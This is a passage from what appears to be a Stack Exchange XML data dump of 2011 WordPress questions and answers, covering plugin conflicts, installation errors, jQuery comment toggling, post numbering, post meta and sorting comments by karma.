);&#xA;&#xA;do_action('wp_insert_post', 'wp_insert_post'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-07T18:33:20.913" LastActivityDate="2011-05-07T18:33:20.913" Title="Create category or terms in post form for specific post type from front end" Tags="&lt;3.1&gt;" CommentCount="2" />
  <row Id="16645" PostTypeId="1" CreationDate="2011-05-07T15:54:31.127" Score="-1" ViewCount="49" Body="&lt;p&gt;I am using the wordpress theme Suffusion 3.7.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I installed it, I have tried, unsuccessfully to install a syntax highlighter for code snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None seem to be working, tried prettify (the worpress plugin and the one that is the pretiffy plugin as is) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to use &lt;a href=&quot;http://www.idiap.ch/~pabbet/personal-projects/wordpress-file-inliner-plugin/&quot; rel=&quot;nofollow&quot;&gt;File inliner&lt;/a&gt;, but it is not really working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.i.imgur.com/QmtSU.png&quot; alt=&quot;screencap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I used for the above snippet was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[file lang=&quot;python&quot; link=&quot;on&quot;]snippets/fileinliner_example3.txt[/file]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that the theme is what is overriding the plugin since I'm just testing the site and have installed very few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;If a link to the site would help, please ask for it.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am more confused now, the syntax highlighting is &lt;strong&gt;NOT&lt;/strong&gt; working in the default theme either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NBC72.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3159" LastActivityDate="2011-05-07T16:11:27.903" Title="Wordpress theme is overriding syntax highlighting plugins" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;css&gt;&lt;syntax-highlighting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16646" PostTypeId="2" ParentId="16645" CreationDate="2011-05-07T16:11:27.903" Score="0" ViewCount="" Body="&lt;p&gt;Note to self:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the next time , RTFM!:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This plugin displays the content of a file in a post. The content of the file (called a &quot;snippet&quot;) is put in a &amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt; block.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a syntax highlighter and well, its not.&lt;/p&gt;&#xA;" OwnerUserId="3159" LastActivityDate="2011-05-07T16:11:27.903" />
  <row Id="16647" PostTypeId="1" CreationDate="2011-05-07T16:14:48.497" Score="0" ViewCount="52" Body="&lt;p&gt;Am i understanding this correctly? or did i not creat a create new profile option? im confused or mad i just dont know i spen a hour trying to figure out a way to create me gf a profile?&lt;/p&gt;&#xA;" OwnerUserId="5197" LastActivityDate="2011-05-07T16:14:48.497" Title="so visitors to my buddy press site have to go to another site to register and create a profile, then another site to upload photos and avators?" Tags="&lt;profiles&gt;" CommentCount="4" />
  <row Id="16648" PostTypeId="1" CreationDate="2011-05-07T16:20:26.933" Score="0" ViewCount="68" Body="&lt;p&gt;I have many people that are subscribed to my blog, and at first, they got the email updates. But for some reason, after a few, they ball stopped getting the updates. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2011-05-07T20:56:14.690" Title="Update won't send to subscribers" Tags="&lt;subscription&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="16650" PostTypeId="1" CreationDate="2011-05-07T17:05:35.277" Score="0" ViewCount="82" Body="&lt;p&gt;I am trying to install WordPress on &lt;a href=&quot;http://www.000webhost.com/&quot; rel=&quot;nofollow&quot;&gt;www.000webhost.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the most recent version of WordPress to the server and created a MySQL database. However, When I visit my site, I select the WordPress folder and it gives two error messages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: require_once(/home/username/public_html/wordpress//wp-includes/class-wp-error.php) [function.require-once]: failed to open stream: No such file or directory in /home/a5558093/public_html/wordpress/wp-load.php on line 48&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require_once() [function.require]: Failed opening required '/home/username/public_html/wordpress//wp-includes/class-wp-error.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/username/public_html/wordpress/wp-load.php on line 48&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do these mean? How can I solve these issues?&lt;/p&gt;&#xA;" OwnerUserId="4900" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T03:38:08.073" LastActivityDate="2011-05-09T03:38:08.073" Title="Novice WordPress Installation issues" Tags="&lt;installation&gt;" AnswerCount="3" />
  <row Id="16651" PostTypeId="2" ParentId="16650" CreationDate="2011-05-07T17:34:36.203" Score="1" ViewCount="" Body="&lt;p&gt;I'll guess it has something to do with that extra &lt;code&gt;/&lt;/code&gt; in the path &lt;code&gt;wordpress//wp-includes&lt;/code&gt;, though I'm not sure why that's happening. Possibly an issue with how it's defining the &lt;code&gt;ABSPATH&lt;/code&gt; setting in wp-load.php&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-07T17:34:36.203" CommentCount="1" />
  <row Id="16652" PostTypeId="2" ParentId="16650" CreationDate="2011-05-07T17:44:26.553" Score="0" ViewCount="" Body="&lt;p&gt;This happens in a branch of code that is triggered when config files is missing on load, but if you had no chance to go through installation dialog yet that would be accurate...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can yo verify that file it references is present and its content is sane? Maybe your upload got broken or cut short.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-07T17:44:26.553" CommentCount="2" />
  <row Id="16653" PostTypeId="2" ParentId="16642" CreationDate="2011-05-07T18:46:01.573" Score="2" ViewCount="" Body="&lt;p&gt;Usually I remove the filter, then add it back on afterwards;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _my_custom_option( $option )&#xA;{&#xA;    remove_filter( 'pre_option_name', '_my_custom_option' );&#xA;&#xA;    // do what you like with $option&#xA;&#xA;    add_filter( 'pre_option_name', '_my_custom_option' );&#xA;    return $option;&#xA;}&#xA;add_filter( 'pre_option_name', '_my_custom_option' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-05-07T18:46:01.573" CommentCount="1" />
  <row Id="16654" PostTypeId="1" CreationDate="2011-05-07T18:49:41.793" Score="1" ViewCount="126" Body="&lt;p&gt;I'd like to add the posts in my loop the ability to toggle them between different post statuses (e.g. publish/draft).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2011-07-01T02:19:38.987" Title="How to change post status from frontend?" Tags="&lt;posts&gt;&lt;post-status&gt;&lt;status&gt;" AnswerCount="1" />
  <row Id="16655" PostTypeId="1" CreationDate="2011-05-07T18:54:53.630" Score="0" ViewCount="62" Body="&lt;p&gt;I have a Wordpress blog at &lt;a href=&quot;http://rlc.vlinder.ca&quot; rel=&quot;nofollow&quot;&gt;http://rlc.vlinder.ca&lt;/a&gt; on which I show a QR code containing the URL of the current page. I'm using the &quot;QR Code Widget&quot; for that and it works fine, mostly, except that it doesn't show up if the page is printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another QR code plug-in installed on the blog, &quot;WP Page QR&quot;, which does show up in print (with a slight change to the CSS), but doesn't look nice at all in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried activating them both, but they both use the same PHP class library to generate the QR image, so activating the second simply crashes (which is caught by WordPress, which promptly deactivates the plug-in again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is to show the QR code from the &quot;QR Code Widget&quot; in the browser, and show the one from &quot;WP Page QR&quot; in print, or do something similar to put the QR code on the printed page where it is most useful) -- not necessarily using the two plug-ins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plug-in that would already allow me to show the QR code in the widget area (on the right) in the browser, and print it somewhere on paper when printing? Is there a plug-in that would allow me to &quot;simply&quot; format the printed version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently planning to edit the &quot;WP QR Code&quot; plug-in to allow me to activate it while &quot;QR Code&quot; is also active, but I'd like to avoid forking off a plug-in if I can..&lt;/p&gt;&#xA;" OwnerUserId="5115" LastActivityDate="2011-08-08T07:20:58.027" Title="Having a widget only show up in print" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="16656" PostTypeId="1" CreationDate="2011-05-07T19:03:15.627" Score="2" ViewCount="123" Body="&lt;p&gt;I am trying to re-create the sidebar widget found here: &lt;a href=&quot;http://www.clinicalforensicpsychology.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.clinicalforensicpsychology.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links below the shown video are linked to the post category &quot;videos&quot;. I have tried most every sidebar widget but I'm unable to find something that does the same thing. Does anyone have a suggestion? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2011-05-07T19:03:15.627" Title="Video Embed in Sidebar Widget with Links to Others in Category" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;embed&gt;" CommentCount="1" />
  <row Id="16658" PostTypeId="1" CreationDate="2011-05-07T20:51:40.077" Score="0" ViewCount="105" Body="&lt;p&gt;Is there a way to show automatically links of pages that category exists in the menu?&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2011-05-07T20:51:40.077" Title="Wordpress: Show subpages of a Category automatically in custom menu" Tags="&lt;categories&gt;&lt;custom-menus&gt;" />
  <row Id="16660" PostTypeId="2" ParentId="15017" CreationDate="2011-05-07T22:04:52.090" Score="0" ViewCount="" Body="&lt;p&gt;Make sure that the 2 URLs in Settings&gt;General both either start with www or that they both don't have the www in the url - ie they should be consistent.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-07T22:04:52.090" CommentCount="1" />
  <row Id="16661" PostTypeId="2" ParentId="7010" CreationDate="2011-05-08T00:08:40.790" Score="1" ViewCount="" Body="&lt;p&gt;The solution is available here: &lt;a href=&quot;http://peterbending.com/wordpress/how-to-order-posts-by-number-of-facebook-likes/&quot; rel=&quot;nofollow&quot;&gt;http://peterbending.com/wordpress/how-to-order-posts-by-number-of-facebook-likes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5206" LastActivityDate="2011-05-08T00:08:40.790" />
  <row Id="16662" PostTypeId="1" AcceptedAnswerId="16670" CreationDate="2011-05-08T00:16:34.627" Score="0" ViewCount="78" Body="&lt;p&gt;I am trying to find a solution to toggle (hide/show) threaded comments. I need to see only comments 1,2,3 etc... and hide 1.1,1.2,1.3 etc...&#xA;Clicking &quot;show comments&quot; will toggle and display the thread of comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 --- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----clicking &quot;show more comments&quot; shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 --- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----clicking &quot;show more comments&quot; shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- 2.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----- ...&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-05-08T10:53:12.057" Title="Toggle nested comments" Tags="&lt;comments&gt;&lt;jquery&gt;&lt;threading&gt;" AnswerCount="1" />
  <row Id="16663" PostTypeId="2" ParentId="16406" CreationDate="2011-05-08T01:18:03.573" Score="0" ViewCount="" Body="&lt;p&gt;I just released a Google Analytics plugin that includes the new track page load time.  It has an option page to enter your Google Analytics id and outputs the ga.async javascript in your footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download it on GitHub:  &lt;a href=&quot;https://github.com/c3mdigital/C3M-Google-Analytics&quot; rel=&quot;nofollow&quot;&gt;C3M Google Analytics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-08T01:18:03.573" />
  <row Id="16665" PostTypeId="1" AcceptedAnswerId="16666" CreationDate="2011-05-08T04:18:03.873" Score="0" ViewCount="160" Body="&lt;p&gt;Im looking a way to change the following HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;votes&quot;&amp;gt;Rating: &amp;lt;strong&amp;gt;+5&amp;lt;/strong&amp;gt; (from 5 votes)&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and produce:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;votes&quot;&amp;gt;&amp;lt;div class=&quot;calculated-rating&quot;&amp;gt;+5&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-05-08T04:24:50.033" LastActivityDate="2011-05-21T16:00:56.397" Title="Delete some text and change html tag with Jquery" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="16666" PostTypeId="2" ParentId="16665" CreationDate="2011-05-08T05:10:29.947" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('.votes').each(function(){&#xA;        votes = jQuery('strong',this).html();&#xA;        jQuery(this).html('&amp;lt;div class=&quot;calculated-rating&quot;&amp;gt;'+votes+'&amp;lt;/div&amp;gt;');&#xA;    });                         &#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-08T05:10:29.947" CommentCount="2" />
  <row Id="16667" PostTypeId="1" AcceptedAnswerId="18991" CreationDate="2011-05-08T05:54:48.460" Score="1" ViewCount="84" Body="&lt;p&gt;I want to show post #4/100 at the top for each post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for which I'm using following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function updateNumbers() {&#xA;/* numbering the published posts: preparation: create an array with the ID in sequence of publication date, /&#xA;/ save the number in custom field 'incr_number' of post with ID  /&#xA;/ to show in post (within the loop) use &amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'incr_number',true); ?&amp;gt;&#xA;/ alchymyth 2010 */&#xA;global $wpdb;&#xA;$querystr = &quot;SELECT $wpdb-&amp;gt;posts.* FROM $wpdb-&amp;gt;posts WHERE $wpdb-&amp;gt;posts.post_status = 'publish' AND $wpdb-&amp;gt;posts.post_type = 'post' &quot;;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;$counts = 0 ;&#xA;if ($pageposts):&#xA;foreach ($pageposts as $post):&#xA;setup_postdata($post);&#xA;$counts++;&#xA;add_post_meta($post-&amp;gt;ID, 'incr_number', $counts, true);&#xA;update_post_meta($post-&amp;gt;ID, 'incr_number', $counts);&#xA;endforeach;&#xA;endif;&#xA;}  &#xA;&#xA;add_action ( 'publish_post', 'updateNumbers' );&#xA;add_action ( 'deleted_post', 'updateNumbers' );&#xA;add_action ( 'edit_post', 'updateNumbers' );&#xA;&#xA;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'incr_number',true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code seems to work fine for me but I just want to filter posts by category slug &amp;amp; only count posts for that particular category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3190" LastEditorUserId="3190" LastEditorDisplayName="" LastEditDate="2011-05-08T06:17:51.030" LastActivityDate="2011-06-01T22:05:22.050" Title="Wordpress Post # of # filtered by category slug" Tags="&lt;categories&gt;&lt;filters&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="16668" PostTypeId="1" CreationDate="2011-05-08T06:52:55.337" Score="1" ViewCount="72" Body="&lt;p&gt;I made a plugin for some calculation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class Math {&#xA;var $id; // I want to map this id to post_id&#xA;var $a;&#xA;var $b;&#xA;var $c;&#xA;&#xA;function calculate{&#xA; $this-&amp;gt;a = $value_from_post_meta_input_box;&#xA; $this-&amp;gt;b = $data_generated_in_calculating_process;&#xA; $this-&amp;gt;c = $result_of_some_function;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After activating the plugin, and setting up the post meta input box for $a, I am able to get $a saved in post meta.&#xA;Now, how can I save $b and $c to post meta? How to say the current calculation is an instance of Math with current post_ID ?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T03:31:01.357" LastActivityDate="2011-05-09T03:31:01.357" Title="How to use post_id with a Class?" Tags="&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="16669" PostTypeId="2" ParentId="16668" CreationDate="2011-05-08T07:26:53.623" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_post_meta()&lt;/code&gt;&lt;/a&gt; to save an array of values. It will be automatically serialized and unserialized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta($post_id, 'math', array($a, $b, $c));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-08T07:26:53.623" CommentCount="3" />
  <row Id="16670" PostTypeId="2" ParentId="16662" CreationDate="2011-05-08T07:53:21.277" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/K3gr7/4/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/K3gr7/4/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used an ordered list to markup the comments. You probably need to tweak it to your own setup, and cache some variables for optimization, but the functionality is in there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;    // Toggle all&#xA;    $('#toggle-all').click(function() {&#xA;        var $subcomments = $('#comments').find('&amp;gt; li &amp;gt; ol');&#xA;        if ($subcomments.filter(':hidden').length) {&#xA;            $subcomments.slideDown();&#xA;        } else {&#xA;            $subcomments.slideUp();&#xA;        }&#xA;    });&#xA;&#xA;    // Add buttons to threaded comments&#xA;    $('#comments').find('&amp;gt; li &amp;gt; ol')&#xA;        .before('&amp;lt;button class=&quot;toggle&quot;&amp;gt;Show more comments&amp;lt;/button&amp;gt;');&#xA;&#xA;   // Toggle one section&#xA;    $('#comments').find('button.toggle').click(function() {&#xA;        $(this).next('ol').slideToggle();&#xA;    }); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I misread your question at first, that's why I added a &quot;toggle all&quot; button and left it in there as a free bonus.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-08T10:53:12.057" LastActivityDate="2011-05-08T10:53:12.057" CommentCount="4" />
  <row Id="16672" PostTypeId="2" ParentId="6473" CreationDate="2011-05-08T08:54:08.393" Score="0" ViewCount="" Body="&lt;p&gt;You can improve it, combining Google Search and Wordpress Search. using this simple javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function displaygoogle(checkbox){&#xA;    if(checkbox.checked){&#xA;        document.getElementById(&quot;googlesearchbox&quot;).style.display = 'block';&#xA;        document.getElementById(&quot;wordpresssearchbox&quot;).style.display = 'none';&#xA;        document.getElementById(&quot;googlesearchinput&quot;).value = document.getElementById(&quot;wordpresssearchinput&quot;).value;&#xA;    }&#xA;    else{&#xA;        document.getElementById(&quot;googlesearchbox&quot;).style.display = 'none';&#xA;        document.getElementById(&quot;wordpresssearchbox&quot;).style.display = 'block';&#xA;        document.getElementById(&quot;wordpresssearchinput&quot;).value = document.getElementById(&quot;googlesearchinput&quot;).value;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see more detail here: &lt;a href=&quot;http://jaider.net/2011-05-08/how-to-combine-google-wordpress-search/&quot; rel=&quot;nofollow&quot;&gt;http://jaider.net/2011-05-08/how-to-combine-google-wordpress-search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5211" LastActivityDate="2011-05-08T08:54:08.393" />
  <row Id="16673" PostTypeId="1" AcceptedAnswerId="16685" CreationDate="2011-05-08T09:02:51.880" Score="0" ViewCount="182" Body="&lt;p&gt;Hey guys,&#xA;My WordPress permalink structure is set to `/%postname%/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a page with a name &quot;FAQs&quot; the permalink generated is &quot;mydomain.com/faqs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I link to this page in my code (hardcoded) like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/faqs#b&quot; title=&quot;FAQ's&quot;&amp;gt;FAQs&amp;lt;/a&amp;gt;&lt;/code&gt; (pay attention to the #b hash at the end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...wordpress somehow automatically notices that there is a page &lt;code&gt;/faqs&lt;/code&gt; and replaces &lt;code&gt;/faqs#b&lt;/code&gt; just with &lt;code&gt;/faqs&lt;/code&gt; (without the hash). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a chance I can write a kind of exception to my .htaccess file so WordPress doesn't do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I could make that work?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-09T03:35:24.240" LastActivityDate="2011-05-09T03:35:24.240" Title="mod-rewrite exception? keep #hash in matching urls?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" AnswerCount="2" />
  <row Id="16675" PostTypeId="1" CreationDate="2011-05-08T10:25:31.053" Score="1" ViewCount="106" Body="&lt;p&gt;My site is reaching CPU limits all the time, I just ran Debug Queries and got more than 4000 queries, no wonder site is slow, I've uploaded the list of queries to &lt;a href=&quot;http://bit.ly/kPyyu1&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/kPyyu1&lt;/a&gt;, would appreciate if someone can take a look at it and maybe tell what I need to do to fix this, I think this should be the problem with the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bit.ly/kPyyu1&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/kPyyu1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2011-05-08T19:37:44.510" Title="Huge amount of queries on my site" Tags="&lt;debug&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="16676" PostTypeId="1" AcceptedAnswerId="16680" CreationDate="2011-05-08T10:28:19.693" Score="0" ViewCount="127" Body="&lt;p&gt;I'm using the plugin &lt;a href=&quot;http://wealthynetizen.com/comment-rating-pro/&quot; rel=&quot;nofollow&quot;&gt;comments rating&lt;/a&gt; (thumbs up - thumbs down) on my comments template. &#xA;It stores &quot;karma&quot; in the db column &quot;comment_karma&quot; in comments table. &#xA;I am looking for a way to sort wp_list_comments by higher karma to lowest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_comments('callback=mu_custom_callback&amp;amp;orderby=comment_karma&amp;amp;order=DESC') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it working placing in functions.php `&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function comment_comparator($a, $b)&#xA;    {&#xA;        $compared = 0;&#xA;        if($a-&amp;gt;comment_karma != $b-&amp;gt;comment_karma)&#xA;        {&#xA;            $compared = $a-&amp;gt;comment_karma &amp;lt; $b-&amp;gt;comment_karma ? 1:-1;&#xA;        }&#xA;        return $compared;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in comments.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;    $comment_arr = $wp_query-&amp;gt;comments;&#xA;    usort($comment_arr, 'comment_comparator');&#xA;    wp_list_comments('callback=gtcn_basic_callback', $comment_arr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found on this &lt;a href=&quot;http://www.theunusableweb.com/tips/coding/php-coding/wordpress/re-order-wordpress-comments/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-05-13T16:38:44.417" LastActivityDate="2011-05-19T18:27:44.927" Title="Sort comments by karma" Tags="&lt;comments&gt;&lt;sort&gt;" AnswerCount="2" />
  <row Id="16677" PostTypeId="1" CreationDate="2011-05-08T10:33:17.770" Score="0" ViewCount="139" Body="&lt;p&gt;I am having a problem with my WordPress site (&lt;a href=&quot;http://blog.sepharoo.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.sepharoo.com&lt;/a&gt;/), for my homepage is not displaying updated post and pages. How will I work on this? I should have Photoblogging page after contact plus I shouldn't have &quot;a beautiful advice&quot; as my latest post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; /* Mystique/digitalnature */&#xA; get_header();&#xA;?&amp;gt;&#xA;&#xA;  &amp;lt;!-- main content: primary + sidebar(s) --&amp;gt;&#xA;  &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;   &amp;lt;div id=&quot;main-inside&quot; class=&quot;clear-block&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- primary content --&amp;gt;&#xA;    &amp;lt;div id=&quot;primary-content&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;blocks&quot;&amp;gt;&#xA;      &amp;lt;?php do_action('mystique_before_primary'); ?&amp;gt;&#xA;      &amp;lt;?php&#xA;       if (have_posts()):&#xA;        while (have_posts()):&#xA;         the_post();&#xA;         mystique_post();&#xA;        endwhile;&#xA;&#xA;        mystique_pagenavi();&#xA;       else: ?&amp;gt;&#xA;       &amp;lt;h1 class=&quot;title error&quot;&amp;gt;&amp;lt;?php _e(&quot;No posts found&quot;,&quot;mystique&quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;?php _e(&quot;Sorry, but you are looking for something that isn't here.&quot;,&quot;mystique&quot;); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;?php do_action('mystique_after_primary'); ?&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /primary content --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;   &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- /main content --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5215" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-08T11:57:23.123" LastActivityDate="2011-08-07T18:20:38.680" Title="Self Hosted WordPress, homepage 